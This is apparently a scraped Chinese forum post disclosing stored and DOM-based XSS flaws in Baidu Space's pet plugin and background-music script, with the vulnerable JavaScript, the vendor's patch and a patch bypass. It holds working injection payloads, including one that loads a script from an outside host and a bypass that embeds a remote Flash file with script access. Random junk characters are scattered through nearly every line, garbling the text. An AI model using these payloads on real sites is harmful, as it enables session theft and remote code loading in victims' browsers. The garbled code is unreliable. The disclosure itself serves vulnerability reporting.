百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. " ~1 |' O/ S/ b! C1 L- i) `
% R, g+ m% M+ o( U: s1 g _- I1 N' c1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. ( i8 `* w' l* O7 ? h- K
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 # q4 l8 R7 J3 v) l# U* j
% r1 U& x; ^. k% X$ Y将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
' e& W$ z6 H! q$ J' I& p其中BdUtil.insertWBR为 . r/ z0 G7 M* i, p# z; e( I
function(text, step) { ( s+ Z4 h [0 b5 ^+ L
var textarea = textAreaCache || getContainer();
0 }3 X( E' a0 K9 U8 s if (!textarea) { g* @* U7 w% l% l) ^
return text;
- B& U5 J) v# T% a. q% V }( q }
/ e" V8 o4 V) Z, ~ textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); + S0 O/ G1 E# r: `4 M
var string = textarea.value; 4 V3 w. z L. ]9 u, g
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); / @# ?1 n4 H/ n0 G* Z5 X
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
! j( E, d+ |4 N5 }+ Y$ t return result; 0 f% K" ^( b, o0 s& \3 `
}
- b. S: D; j% p5 w6 K) n) g在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
5 V. A" Q9 |( L. a0 Y s1 }' b) k测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
4 }2 u8 |* n( U: k, c& ` + s, O* y" i9 _, s/ I* }# K) P% a
二:creatbgmusic() Dom-Xss Bug
; A# M0 {/ R0 @, S, D百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 : e$ x( J4 G7 i2 w9 T3 q
0 m! T' E, Y/ p& V# z在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
/ h! ]. p& f, }5 ]( n6 Z9 s' F+ v2 l. X8 Y( l! |: Z* P; O
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
2 v- `4 e `" T //传入的murl赋值到bgmusic1和bgmusic2中
) k( \6 s* r# O6 o" u //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
2 F5 D- g# g6 f* ?: Y var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
2 z* t8 v. d& x, B# T, U if (musicnum <= 1) { & q: m6 l9 y6 F& u
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
3 l7 y. |) p6 J; s g6 v } u' b9 P( f6 {" n8 J5 y( w
bgmusic1 += "</OBJECT>";
. E- j1 c6 s0 A! C0 k7 y& |! D) ?) i var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
, M) J8 s6 V* [ t0 I( d l if (musicnum <= 1) { ' y+ N6 w. A" ~6 r; C
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; + w6 B2 }: u- D. m/ B
}
. D( N( Q8 Y# y8 D+ ~# M3 B bgmusic2 += "> </EMBED>"; ( b9 _4 ^% S2 ?1 V
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
V! X, p& B3 r/ Y var bgmus = detectWMP(); R4 R9 p! r; k2 }! l
if (functype == "FckMusicHelper") { ! ]% Q6 F& E, e. C
if (bgmus.installed) {
0 z% h$ m! Y$ R; j4 H if (bgmus.type == "IE") { , ^+ r1 m1 Y1 w4 D2 z$ _& B( @
return bgmusic1;
& O) j: u' \* Q4 a } else if (bgmus.type == "NS") {
) v2 m- P; x+ \5 d2 l) f return bgmusic2;
1 b5 L' _7 D. g: X$ v0 V }
" q+ n/ o% }% }2 k } else {
: ~6 }5 |+ a! _4 P5 ]7 N9 }& j return bgmusic3; 2 \" ~/ a5 ^ q
}
' V1 S9 j: T7 H% o4 r } else { 7 `% g2 o7 ]; W4 [- r! P1 q+ _
if (bgmus.installed) { - s, i! p! \/ o, i& ^
//document.write 直接输出bgmusic变量 导致xss
- b) \, l- p7 V if (bgmus.type == "IE") {
! y# `" Q* S: J5 g* L8 r4 _6 Z document.write(bgmusic1);
! i+ o6 J) Z3 ], H! u/ ^ } else if (bgmus.type == "NS") {
m4 C' x4 L) e/ _3 l document.write(bgmusic2); : S; K; ]' r! U
} ( H: ]5 G0 `" P# |5 A9 l4 f9 H+ b
} else { 4 Y* ^, _, `% n7 | T3 `7 k/ U
document.write(bgmusic3); , z/ W' D" u2 J2 c
}
" k3 U U2 T( F7 N+ e1 x return "";
8 N ^0 ^1 e* R1 A7 a6 L } 5 O3 t) d/ w% H- i
}
/ N j. C, N' d0 p# V# b# f
& q/ u. ?% ~- j" e) K2 n5 X在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
6 _+ j+ _$ ~$ ~5 b- k
% H: [$ v, ^5 n4 M" H* C& P* Kfunction initBlogTextForFCK(){
; Y! [0 _+ L# I//fck init music 8 S6 G- \ I. N* T1 {& d* n+ Z7 e
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ' e8 E$ } J% h ~' Z9 W
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 . W+ y. c, q. f
var isAutoPlay=true; * o5 q( B3 }2 R X; g0 C; p" M1 q
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. . N8 s7 l! y! M. B% S
var img=imgBox; . i, a5 K* l* b0 X$ y% I
if(img.getAttribute(’rel’)){ ! c: d; j3 s$ \& c3 h
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc - _. X9 R2 J* I R, f. a3 t
var musicDiv = document.createElement("SPAN"); 6 \2 D, ~. W+ {2 S1 i) v
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 4 S/ a' X8 K4 Y+ t. g: Z% \
1 S/ R5 q& e0 y: p
.......................... / P; `/ b, E1 @& o" a/ P" G7 N5 Z
! b: e3 R |5 B0 R //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 9 ]' \; O. ^/ J& Z0 [2 b
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
9 h4 h0 ?- F6 [8 Z$ _4 O shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
6 @( f& d: M8 t& \ musicDiv.innerHTML=shtml; % @% c: R. ?7 F& l
i--;n--; " r3 l: P, l% r6 L, W
} " q6 z# g0 `* f
}
+ T8 A1 C$ S& z1 M4 @5 d# z6 Q- I% k8 |/ D
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. ; T# G8 i5 d" o0 ~) x# T
% ~" o( s+ p9 U# r) k' `3 _测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> R4 V) h/ c1 B
# x+ F5 H' N2 F7 d) ]
等待官方补丁
/ ? r; F4 x& G# E2 C7 l) P8 K$ n0 ?$ a3 U$ Q) V; x
update 2010年5月13日 5 C0 W1 ?; u( a) D& q5 K V/ t7 J
6 u$ n' @: S+ C/ E官方补丁:
+ j2 }8 k( q! K! y' a/ h
3 U% G$ ^0 E2 ~6 Bvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ( o6 d$ q3 X) K0 L4 A
改为: & h/ \ h) m1 L# h' m
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 7 l; P* h7 V2 P8 [/ t' w
, @; ?% x& J; h5 h" N1 ~- w3 D
update 2010年5月13日 21:50:37
& ~# S! a! v4 d$ ] C& i- \. T& n+ w
( g; X8 G" W7 i补丁存在漏洞 没有过滤" 可以继续跨:
2 H$ C- k# M. a7 K, r, c* G
L2 u8 J0 b: nNEW POC:
2 z% [& ~; c/ U2 |4 y5 W$ D
* ]% R5 r* q4 Z: b( Z/ j6 ?<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
6 |# E0 p. x, u4 I# e% h* u1 I. F4 F: l0 u# Z; H
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>" w5 }3 q8 C3 r2 k: f9 X
" t8 \0 K$ t5 X6 J' [5 E
|